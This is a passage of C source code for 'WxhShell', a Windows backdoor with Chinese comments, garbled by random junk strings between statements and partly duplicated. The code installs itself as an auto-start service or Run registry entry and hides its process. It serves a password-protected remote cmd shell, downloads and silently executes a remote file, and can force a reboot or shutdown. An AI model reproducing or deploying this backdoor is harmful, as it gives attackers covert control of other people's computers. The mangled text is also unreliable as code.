(PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \d w ["k myB!\WY
if (!NtQueryInformationProcess) return 0; :m(" oC@} Tn$|
Xa+:s hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NE Z ]% if(!hProcess) return 0; k7z{q/]M 4Q\~l( if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n>%TIoY eT8h:+k CloseHandle(hProcess); , qhv( 24Htr/lPCT hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 1EHNg<J( if(hProcess==NULL) return 0;
w Qp{z _3gF~qr HMODULE hMod; dW#l3_'3T char procName[255]; y{nX 6 unsigned long cbNeeded; 9(BB>o54r o2LUB)=R' if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <Q.-WV]Z `=8G?3 CloseHandle(hProcess); U9R pHh` jLBwPI_g if(strstr(procName,"services")) return 1; // 以服务启动 `]<~lf );^{;fLy% return 0; // 注册表启动 VF9-&HuC } ||4++84{ y(Q.uYz* // 主模块 [_p&,$z8[ int StartWxhshell(LPSTR lpCmdLine) (' i_Xe { 79U7<]-! SOCKET wsl; d.NB@[?* BOOL val=TRUE; _\FA}d@N int port=0; y;HJ"5.Mw struct sockaddr_in door; 4$v08zZ `Y7&}/OM if(wscfg.ws_autoins) Install(); 55`cNZ }@g#S@o port=atoi(lpCmdLine); .PJ_1 ' :,p6 if(port<=0) port=wscfg.ws_port; ivi&; DVRbTz3V WSADATA data; 7me1:}4 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =v=H{*dWA [0n&?<< if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; fOO[`"'Pq setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); \"A~ks~ door.sin_family = AF_INET; 'gz@UE1 door.sin_addr.s_addr = inet_addr("127.0.0.1"); @nF#\ door.sin_port = htons(port); _"[O=h: ]F,v#6qi if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LD}ZuCp! closesocket(wsl); O.P:~ return 1; $e![^I]` } dp>Lh TLc $RV'DQO if(listen(wsl,2) == INVALID_SOCKET) { oJEjg>%n closesocket(wsl); t8b,@J`R return 1; cBnB(t% } L+"5g@ Wxhshell(wsl); '=m ?l WSACleanup(); 3?DM
AV 1)=sbFtS return 0; _{'HY+M JxLD}$I } ?gOZY\[ma }!RFX)T // 以NT服务方式启动 nc%ly * VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c-^\YSDMN { }\!38{& DWORD status = 0; C$$lJ=> DWORD specificError = 0xfffffff; [z`m`9Aq }c*6|B@f serviceStatus.dwServiceType = SERVICE_WIN32; *HN0em serviceStatus.dwCurrentState = SERVICE_START_PENDING; | (a<b serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; pUaGrdGxzQ serviceStatus.dwWin32ExitCode = 0; AZYu/k serviceStatus.dwServiceSpecificExitCode = 0; Y>[u(q&09O serviceStatus.dwCheckPoint = 0; H?axlRmw3 serviceStatus.dwWaitHint = 0; 4]]1JL(Ka DcQsdeuQ hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 'y.'Xj:l if (hServiceStatusHandle==0) return; iw^(3FcP@C bPtbU:G status = GetLastError(); QA&BNG if (status!=NO_ERROR) i<nUp1r( { @[4 Tdf serviceStatus.dwCurrentState = SERVICE_STOPPED; )fz<n$3|$# serviceStatus.dwCheckPoint = 0; CzZmC]5 serviceStatus.dwWaitHint = 0; 38T2IN serviceStatus.dwWin32ExitCode = status; ~?n)1Vr| serviceStatus.dwServiceSpecificExitCode = specificError; r$~
f[cA SetServiceStatus(hServiceStatusHandle, &serviceStatus); <ib#PLRM return; kycZ } f^f{tOX n.$wW
= serviceStatus.dwCurrentState = SERVICE_RUNNING; G.a^nQ@e% serviceStatus.dwCheckPoint = 0; L7tC?F]}SK serviceStatus.dwWaitHint = 0; 3M{/9rR[ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }
. cP } v1Lu.JQC$ (s`yMUC+ // 处理NT服务事件,比如:启动、停止 $=GZ"%ED VOID WINAPI NTServiceHandler(DWORD fdwControl) #:?vpV#i { :kDHwYv$ switch(fdwControl) RHGs(d7- { 438+zU case SERVICE_CONTROL_STOP: 9RoN,e8! serviceStatus.dwWin32ExitCode = 0; BJI
R !J serviceStatus.dwCurrentState = SERVICE_STOPPED; PuhFbgxy serviceStatus.dwCheckPoint = 0; :n&n"`D~ serviceStatus.dwWaitHint = 0; L.z`>1 { ,#42ebGHR SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~cSOni` } s:y=X$&M return; *a7&v3X case SERVICE_CONTROL_PAUSE: u@$C i/J* serviceStatus.dwCurrentState = SERVICE_PAUSED; 'i|z>si[* break; iVt*N$iZ case SERVICE_CONTROL_CONTINUE: 7usf^g[dh serviceStatus.dwCurrentState = SERVICE_RUNNING; \P_1@sH= break; eJrJ5mlI` case SERVICE_CONTROL_INTERROGATE: 5/v@VUzH break; .)>DFGb>H }; 1dF=BR8 SetServiceStatus(hServiceStatusHandle, &serviceStatus); KN;b+`x;M } hYW<4{Gjr DM%4V|F" // 标准应用程序主函数 PZRm.vC)k int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %<q l { gekW&tRie b"y][5VE // 获取操作系统版本 i!30f^9D-S OsIsNt=GetOsVer(); :*"0o{
ie GetModuleFileName(NULL,ExeFile,MAX_PATH); 4#Fz!Km ruLi
"d // 从命令行安装 KF|<A@V if(strpbrk(lpCmdLine,"iI")) Install(); ]3C&l+m$ot X'Dg= | // 下载执行文件 3Q`F x if(wscfg.ws_downexe) { &41=YnC6 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b<B|p| WinExec(wscfg.ws_filenam,SW_HIDE); $*bd})y)I } 99}n%(V f_r1(o5:Y if(!OsIsNt) { 37 wm[Z // 如果时win9x,隐藏进程并且设置为注册表启动 Z;aQ/n[` HideProc(); ;Bo{.916 StartWxhshell(lpCmdLine); `n]y"rj' } 88
*K else QUp()B1 if(StartFromService()) xoD5z<< // 以服务方式启动 e}? #vTRI} StartServiceCtrlDispatcher(DispatchTable); 8]Xwj].^C else G l=dL<F // 普通方式启动 `7P4O StartWxhshell(lpCmdLine); @O<kjR<b xr)Rx{)3h return 0; t,;1?W# } vIrLG1EK C
G~)` [EDw0e >8~+[e =========================================== ;SF0}51 iq
'3.-xYr
'._8 :Xv3< rS< mfO:#]K zm}4=Kz} " N0h"EV[ q#-szZQ #include <stdio.h> R ;^[4<& #include <string.h> R/M:~h~F! #include <windows.h> ur-&- G^ #include <winsock2.h>
yf! #include <winsvc.h> <`sVu #include <urlmon.h> nJF"[w, ? wxARD3% #pragma comment (lib, "Ws2_32.lib") gOZ$rv^g #pragma comment (lib, "urlmon.lib") }'dnL wh:O"&qk #define MAX_USER 100 // 最大客户端连接数 %b2.JGBqJ #define BUF_SOCK 200 // sock buffer |,j6cFNw #define KEY_BUFF 255 // 输入 buffer .!Kdi| a) h[%`'(
#define REBOOT 0 // 重启 1sZwW P #define SHUTDOWN 1 // 关机 Xi_>hL+R( +I#5? #define DEF_PORT 5000 // 监听端口 KP7bU9odJ |n3PznV #define REG_LEN 16 // 注册表键长度 Re('7m h~ #define SVC_LEN 80 // NT服务名长度 Xd>4n7nb$` '8~7Ru\KyX // 从dll定义API NjVuwIm+ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3uCC_Am typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -<a~kVv typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); YMwMaU)K, typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eMVfv=&L<3 b&A+`d // wxhshell配置信息 Xvm.Un<N struct WSCFG { K IiV z< int ws_port; // 监听端口 O B8fFd char ws_passstr[REG_LEN]; // 口令 'MPt K int ws_autoins; // 安装标记, 1=yes 0=no 8zGe5Dn9 char ws_regname[REG_LEN]; // 注册表键名 'i_od|19~h char ws_svcname[REG_LEN]; // 服务名 k/O|ia6 char ws_svcdisp[SVC_LEN]; // 服务显示名 =Z iyT$p char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;g: TsYwM char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &F[/@ int ws_downexe; // 下载执行标记, 1=yes 0=no 3x9O<H} char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {%@zQ|OO0 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }-k<>~FA @0?Mwy! }; |cJyP9}n [[QrGJr // default Wxhshell configuration ;RW!l pGjP struct WSCFG wscfg={DEF_PORT, Mi9A%ZmP "xuhuanlingzhe", bV&/)eqv 1, a_m P$4T "Wxhshell", 4s~YqP{K "Wxhshell", IP$^)t[ "WxhShell Service", ~" B0P>7 "Wrsky Windows CmdShell Service", xA#B1qbw "Please Input Your Password: ", 4hg]/X"H# 1, (1%u`#5n-N "http://www.wrsky.com/wxhshell.exe", ;_M .(8L "Wxhshell.exe" n[CESo%[ }; ~qLbyzHaB
|X`xJL // 消息定义模块 1?`,h6d*= char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; q*TH),)J char *msg_ws_prompt="\n\r? for help\n\r#>"; "0+_P{w+ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @P6K`'.0 char *msg_ws_ext="\n\rExit."; U^?/nRZ char *msg_ws_end="\n\rQuit."; MZZ4 char *msg_ws_boot="\n\rReboot..."; Z&@X4X"q char *msg_ws_poff="\n\rShutdown..."; =-~82% char *msg_ws_down="\n\rSave to "; S&8gZ~B +?[TH?2c+ char *msg_ws_err="\n\rErr!"; xaX3<V@S char *msg_ws_ok="\n\rOK!";
$.(%7[ }]N7CWy
char ExeFile[MAX_PATH]; 7qV_QZ!. int nUser = 0; bqN({p& HANDLE handles[MAX_USER]; xIf,1g@Cq9 int OsIsNt; 1[C,*\X8v `UMv#-Y8 SERVICE_STATUS serviceStatus; $[}31=0 SERVICE_STATUS_HANDLE hServiceStatusHandle; X3#|9 1j# ~:=I // 函数声明 Lg[*P8wE int Install(void); ..3TB=Z# int Uninstall(void); yJc<;Qx int DownloadFile(char *sURL, SOCKET wsh); a Umcs!@ int Boot(int flag); AtYe\_9$C void HideProc(void); EE#4,d`J int GetOsVer(void); gfw,S; int Wxhshell(SOCKET wsl); dY68wW>d| void TalkWithClient(void *cs); "3LOL/7f int CmdShell(SOCKET sock); kdmannM int StartFromService(void); v2G_p|+O int StartWxhshell(LPSTR lpCmdLine); Pon 2!$ IrjKI.PR VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Aga2 I#1r VOID WINAPI NTServiceHandler( DWORD fdwControl ); QK<sibDI ;&37mO/T // 数据结构和表定义 'ADt<m_$ SERVICE_TABLE_ENTRY DispatchTable[] = jn>3(GRGC$ { E< "aUnI {wscfg.ws_svcname, NTServiceMain}, k'&BAC.K, {NULL, NULL} rXuhd [!(P };
vr/V_ )\l}i%L: // 自我安装 $SRpFz5y$ int Install(void) ]
NL-)8u { GN?^7kI char svExeFile[MAX_PATH]; m,,-rC HKEY key; |3/=dG strcpy(svExeFile,ExeFile);
YH&`+ + f%` =>l // 如果是win9x系统,修改注册表设为自启动 b/5?)!I if(!OsIsNt) { SN(:\|f
2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k q8:h RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $IA(QC_]AO RegCloseKey(key); >y"W( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q|b#=Af]g RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '}e_8FS RegCloseKey(key); m"<0sqD; return 0; h^D?G2O } M9HM: } _,"T;i } 'U.)f@L#w else { O;9u1,%w Dz:A.x@$* // 如果是NT以上系统,安装为系统服务 21bvSK SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); aB0L]i if (schSCManager!=0) _d76jmujJ { w&hgJ SC_HANDLE schService = CreateService Q4Zuz)r* ( @AaM]?=P{ schSCManager, bdZ[`uMD wscfg.ws_svcname, >A|(mc wscfg.ws_svcdisp, gPh; SERVICE_ALL_ACCESS, "}!|V)K SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ci0)kxUBF SERVICE_AUTO_START, >N62t9Ll[ SERVICE_ERROR_NORMAL, ST5L
O#5 svExeFile, [^$nt NULL, 5,})x]'x NULL, Fm_^7| NULL, u\ro9l NULL, G|Rsj{2' NULL 7"@^JxYN ); ^[,Q2MHCT( if (schService!=0) g(B &A
P_e { ExeD3Zj CloseServiceHandle(schService); K#_&}C^-jY CloseServiceHandle(schSCManager); %OB:lAeJ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d00#;R strcat(svExeFile,wscfg.ws_svcname); uf]SPG#/D if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <k!M+}a 9V RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #<s6L"Z- RegCloseKey(key); 2-728 return 0; W@`2+} } {^=T&aCYdS } "s]r"(MX CloseServiceHandle(schSCManager); T\I}s"d } XLb
lVi@ } g>-pC a 3O7]~5 j1 return 1; pYf57u } Q)c3=.[> g = ~Y\$& // 自我卸载 U$v|c%6 int Uninstall(void) `-W.uOZ0 { SK
[1h3d HKEY key; E-IV v :+NZW9_ if(!OsIsNt) { S"'0lS
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @&?E3?5ll RegDeleteValue(key,wscfg.ws_regname); `|coA2$rw RegCloseKey(key); O 7RIcU if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $9+|_[ ]v. RegDeleteValue(key,wscfg.ws_regname); /4/'&tY RegCloseKey(key); .DsdQ4Y return 0; + Ac.@!X}% } ~k\Dde } }A jE- K{ } vz5x{W else { vF@hg)A Q,R>dkS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); (VDY]Q) if (schSCManager!=0) SW5V:|/ { NIgqdEu1 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2t 6m# if (schService!=0) DmU,}]#: { >RJjm&M if(DeleteService(schService)!=0) { */c4b:s CloseServiceHandle(schService); Lh%z2 5t CloseServiceHandle(schSCManager); WoM;) Q return 0; 0Dtew N{Z } EyR~VKbJ' CloseServiceHandle(schService); W[c[ulY& } Ak3cE_*Y/ CloseServiceHandle(schSCManager); %O6r } ! yqez } YBh|\ GsIVx! return 1; 6_|iXs(& } GWFF.Mo^ yq. <,b=87 // 从指定url下载文件 f~Y;ZvB int DownloadFile(char *sURL, SOCKET wsh) 4`yE'%6.} { mi[t1cN)= HRESULT hr; !Gob `# r char seps[]= "/"; ]1hyv m3 char *token; /pY-how%! char *file; GDF/0-/Z char myURL[MAX_PATH]; aeZ$Wu>]W char myFILE[MAX_PATH]; pwvzs`[; eHHY.^| strcpy(myURL,sURL); (#kKL??W token=strtok(myURL,seps); 0JFS%Yjw[ while(token!=NULL) "s-3226kj { y0vJ@ %` file=token; H9;0$Y(e- token=strtok(NULL,seps); ;~D$rT } Z(j"\d!y Hlhd6be GetCurrentDirectory(MAX_PATH,myFILE); }NjZfBQW` strcat(myFILE, "\\"); Ri>4:V3K strcat(myFILE, file); EfX\" y send(wsh,myFILE,strlen(myFILE),0); e!W U send(wsh,"...",3,0); "C0?s7Y hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wZ4w`|' if(hr==S_OK) WwsH7X) return 0; >|X ) else )]}G8A return 1; D:] QBA)C wE[gp+X~ } d|#&j." |d$4Fu(M~ // 系统电源模块 ?f}?I`S, int Boot(int flag) r[?GO"ej5 { (}g4}A@x HANDLE hToken; GY>G}bfh TOKEN_PRIVILEGES tkp; L4DT*(;!E f=k_U[b4> if(OsIsNt) { xXf,j#`" OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .n n&K}h LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ff{,zfN+3 tkp.PrivilegeCount = 1; BLN|QaZ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3daI_Nx> AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D@2L<!\ if(flag==REBOOT) { arIEd VfNa if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Um}f7^fp^l return 0; 1=Z!ZY}}e } 3Ccy %; else { 7}:+Yx if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 1 | return 0; cX!C/`ew> } WNY:HH } NnH]c+ else { "1YwV~M5 if(flag==REBOOT) { >?Duz+W) if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) VV;%q3}: return 0; _ amP:h } beaSvhPU else { =t^jlb if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %pIP#y[4 return 0; {E; bT|3z } .TMLg(2hgv } }*
\*<d
3 ,ZghV1z return 1; MaPOmS8? } fat;5XL@ @ ]40xKF // win9x进程隐藏模块 f8
BZk h void HideProc(void) F\, vIS { [~PR\qm zauDwV= HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 6P3h955c if ( hKernel != NULL ) fy]c=:EmD { UX+vU@Co[ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $xT9e ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `OfD^Q= FreeLibrary(hKernel); SJ91(K } "OwK- o$eo\X?J? return; QChncIqc } Q 0G5<:wc +OqEe[Wk# // 获取操作系统版本 ]#Cc7wa
int GetOsVer(void) 9: .m]QN { ,z<1:st]< OSVERSIONINFO winfo; N]eBmv$| winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 3&>0'h GetVersionEx(&winfo); wVqp')e if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) EK=
y!> return 1; [UXN=
76N else T/A2Y+@N; return 0; 2"HTD|yy } ZNne 8 4(*PM&'R // 客户端句柄模块 )Gavjj&uJ int Wxhshell(SOCKET wsl) DuNindo8 { `m#-J;la SOCKET wsh; Vpne-PW struct sockaddr_in client; Jz=|-F(Sy DWORD myID; cnS;9=,& |.,]0CRg while(nUser<MAX_USER) pHuR_U5*? { a2Nxpxho int nSize=sizeof(client); WW.@S5 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }toe'6 if(wsh==INVALID_SOCKET) return 1; m~
5"q%; cF4,dnI handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); aZ$5" if(handles[nUser]==0) Y0.'u{J* closesocket(wsh); S2DG=hi`GK else 67hfv e nUser++; gROK4'j6y } 0^R, d M WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WQ 2{`'z %YK xdp return 0; ywl=@ } #bBh. ^ UOsK(mB // 关闭 socket #M{qMJHDo void CloseIt(SOCKET wsh) &&m3E=K!^ { /!2`pv closesocket(wsh); H<[~V0= nUser--; )l$}plT4 ExitThread(0); i^e8.zgywF } F|{uA/P{ F$(ak;v} // 客户端请求句柄 yhYF "~CM void TalkWithClient(void *cs) 2mnAL# { FLs$ Gc"hU:m SOCKET wsh=(SOCKET)cs; E(j#R" char pwd[SVC_LEN]; P
woiX#vz char cmd[KEY_BUFF]; *<W8j[? char chr[1]; S\h5
D2G; int i,j; v+"4YIN hO&b\#@~ while (nUser < MAX_USER) { CxeW5qc `:Gzjngc if(wscfg.ws_passstr) { :^WF%X if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G~o!u8^; //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5LB{b]w7m //ZeroMemory(pwd,KEY_BUFF); Jn^b}bk t i=0; Hc=QSP while(i<SVC_LEN) { C6[W/,eS t+}wTis // 设置超时 Bp_R"DS7A fd_set FdRead; 7]xDMu'^&f struct timeval TimeOut; R?O)vLmd FD_ZERO(&FdRead); ^l|b>z"0ao FD_SET(wsh,&FdRead); B Z|A&; TimeOut.tv_sec=8; &G\mcstX TimeOut.tv_usec=0; y0sce int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w+>+hq if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Jr( =Y@Z' 4[@YF@_=M if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t|eH'"N%o pwd=chr[0]; EC;>-s if(chr[0]==0xd || chr[0]==0xa) { _ Lb"yug pwd=0; gr*CN< break; ;5bd<N } v8*)^-Fx i++; i-Rn,}v } 6ki2/ Q ^APtV6g // 如果是非法用户,关闭 socket EM*I%|n@m if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); P2a5<#_| } nq]6S$3
6 <-!1`@l> send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /O}<e TR send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s{Y4wvQyB UMR ?q0J while(1) { vUJ;D 8Rwk
o6x ZeroMemory(cmd,KEY_BUFF); u*G<? a&x:_vv // 自动支持客户端 telnet标准 )^ Y+Vn j=0; X n$ZA- while(j<KEY_BUFF) { R,G*]/r` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :R,M Y"( cmd[j]=chr[0]; Ha `N if(chr[0]==0xa || chr[0]==0xd) { nf/?7~3?[ cmd[j]=0; b/'c
h break; ZrTB% } X+aQ 7^"s j++; = 'NV3by } hr}f5Z)^v &7f8\TG| // 下载文件 _ \6v@ if(strstr(cmd,"http://")) { b&+zAt. send(wsh,msg_ws_down,strlen(msg_ws_down),0); \~l_w
,Poo if(DownloadFile(cmd,wsh)) `SFeln{1B send(wsh,msg_ws_err,strlen(msg_ws_err),0); <ToBVGX else Lj3o-@\*j send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RJ{$`d } VTu#)I7A^@ else { ;Zd_2CZ N
$) G8 switch(cmd[0]) { W5
F\e[Ax5 "Gp[.=.z? // 帮助 RW L0@\ case '?': { ]=00<~ l*q send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +-^>B%/&Z break; m!/TJhiQ } 2bNOn%! // 安装 Cf=H~&`Z case 'i': { [i` if(Install()) LpU}. send(wsh,msg_ws_err,strlen(msg_ws_err),0); HU $"o6ap else .J)TIc__|A send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'RMUjJ-! break; ^)Hf% } Plp.\N%f3 // 卸载 R@\}iyM case 'r': { }`B
.(3n if(Uninstall()) _]`7et\= send(wsh,msg_ws_err,strlen(msg_ws_err),0); [s>3xWZ+a else fY!?rZ)$ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X_TjJmc break; 0SIC=p=J } ETdXk&AN // 显示 wxhshell 所在路径 dH^6K0J case 'p': { KS$t char svExeFile[MAX_PATH]; _6NUtU strcpy(svExeFile,"\n\r"); K3?5bT_{ strcat(svExeFile,ExeFile); Y<xqws send(wsh,svExeFile,strlen(svExeFile),0); S/'0czDMW break;
bmv8nal<Y } !%G]~ // 重启 7Jf~Bn case 'b': { j,M$l mR') send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *): |WDR if(Boot(REBOOT)) Y@+Rb send(wsh,msg_ws_err,strlen(msg_ws_err),0); j>\c >U else { 2I-d.{ closesocket(wsh); k&dXK ExitThread(0); :\OSHs<M } q-JTGCFl break; #d-({blo< } 1>J.kQR^ // 关机 H#TkIFo] case 'd': { +`
Md5.w send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ?F"o+]i+^ if(Boot(SHUTDOWN)) G(&[1V % x send(wsh,msg_ws_err,strlen(msg_ws_err),0); QH/py else { TpKAdrY closesocket(wsh); uY&1[(Pb ExitThread(0); /f3/}x!po } {@InOo!4w] break; KZppQ0 }
-tg|y // 获取shell (9]Uuvfp6" case 's': { "\b>JV5 CmdShell(wsh); RQ,#TbAe closesocket(wsh); D\Ak-$kJ^ ExitThread(0); :;+!ID_ break; \;{ ]YX } t?GH
V3V // 退出 Z1
D case 'x': { u"v7shRp: send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); / FcRp ," CloseIt(wsh); 9{u8fDm! break; {*yvvb } U#3N90,N= // 离开 9-42A7g^C case 'q': { F9r.DG$} send(wsh,msg_ws_end,strlen(msg_ws_end),0); &6x(%o| closesocket(wsh); '}Fe&% WSACleanup(); (T%F^s5D exit(1); pR
S! break; o:d7IL } ppAbG,7 } v)5;~.+% } "V|Rq]_+% V\L;EHtc$ // 提示信息 is<:}z if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .vu7$~7 } \o>-L\`O } C]ss' b"I#\;Ym return; 2 2v"?* } V! Wy[u
UleT9 [M // shell模块句柄 $BwWQ?lp int CmdShell(SOCKET sock) !nBbt?* { c!Hz'W STARTUPINFO si; Qte5E}V` ZeroMemory(&si,sizeof(si)); =g#PP@X]D! si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hG1$YE si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KdEvu? PROCESS_INFORMATION ProcessInfo; o*KAS@& char cmdline[]="cmd"; OgF[= CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CD`a-]6qA return 0; HMq}){=S } [DaAvN^0A Q0J1"*P0 // 自身启动模式 kF|$oBQ int StartFromService(void) C[^VM$ { uN%Cc12 typedef struct ,P~e)<. { J}V4.R5d DWORD ExitStatus; aq?bI:>8 DWORD PebBaseAddress; scV%p&{a DWORD AffinityMask; AwJg/VBo) DWORD BasePriority; xQFRM aQE ULONG UniqueProcessId; 5 {! fa ULONG InheritedFromUniqueProcessId; r^ ,_m,s'< } PROCESS_BASIC_INFORMATION;
4E''pW]8 L=<xTbY PROCNTQSIP NtQueryInformationProcess; Thggas, /uw@o9`~2- static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j7P49{ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~^F]t$rz yX
rI HANDLE hProcess; D2ggFxqe PROCESS_BASIC_INFORMATION pbi; a
,mgM&yD } 9@rhW HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q`e0%^U if(NULL == hInst ) return 0; kepuh%KY[
().C g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #/qcp|m g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); iA[T'+.Y NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fG 2)r >{^_]phlb if (!NtQueryInformationProcess) return 0; +R~]5Rxd }u^bTR?3 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); #]Vw$X_S if(!hProcess) return 0; `gl?y;xC yCjc5d|tT if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e#}t
am Q
8]X CloseHandle(hProcess); i;HXz`vT7 WyV4p hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r9f- [wC if(hProcess==NULL) return 0; \9+,ynJH8z I"]E}n d) HMODULE hMod; YdI6|o@vc char procName[255]; HS=w9:, unsigned long cbNeeded; 29Uqdo gc4o
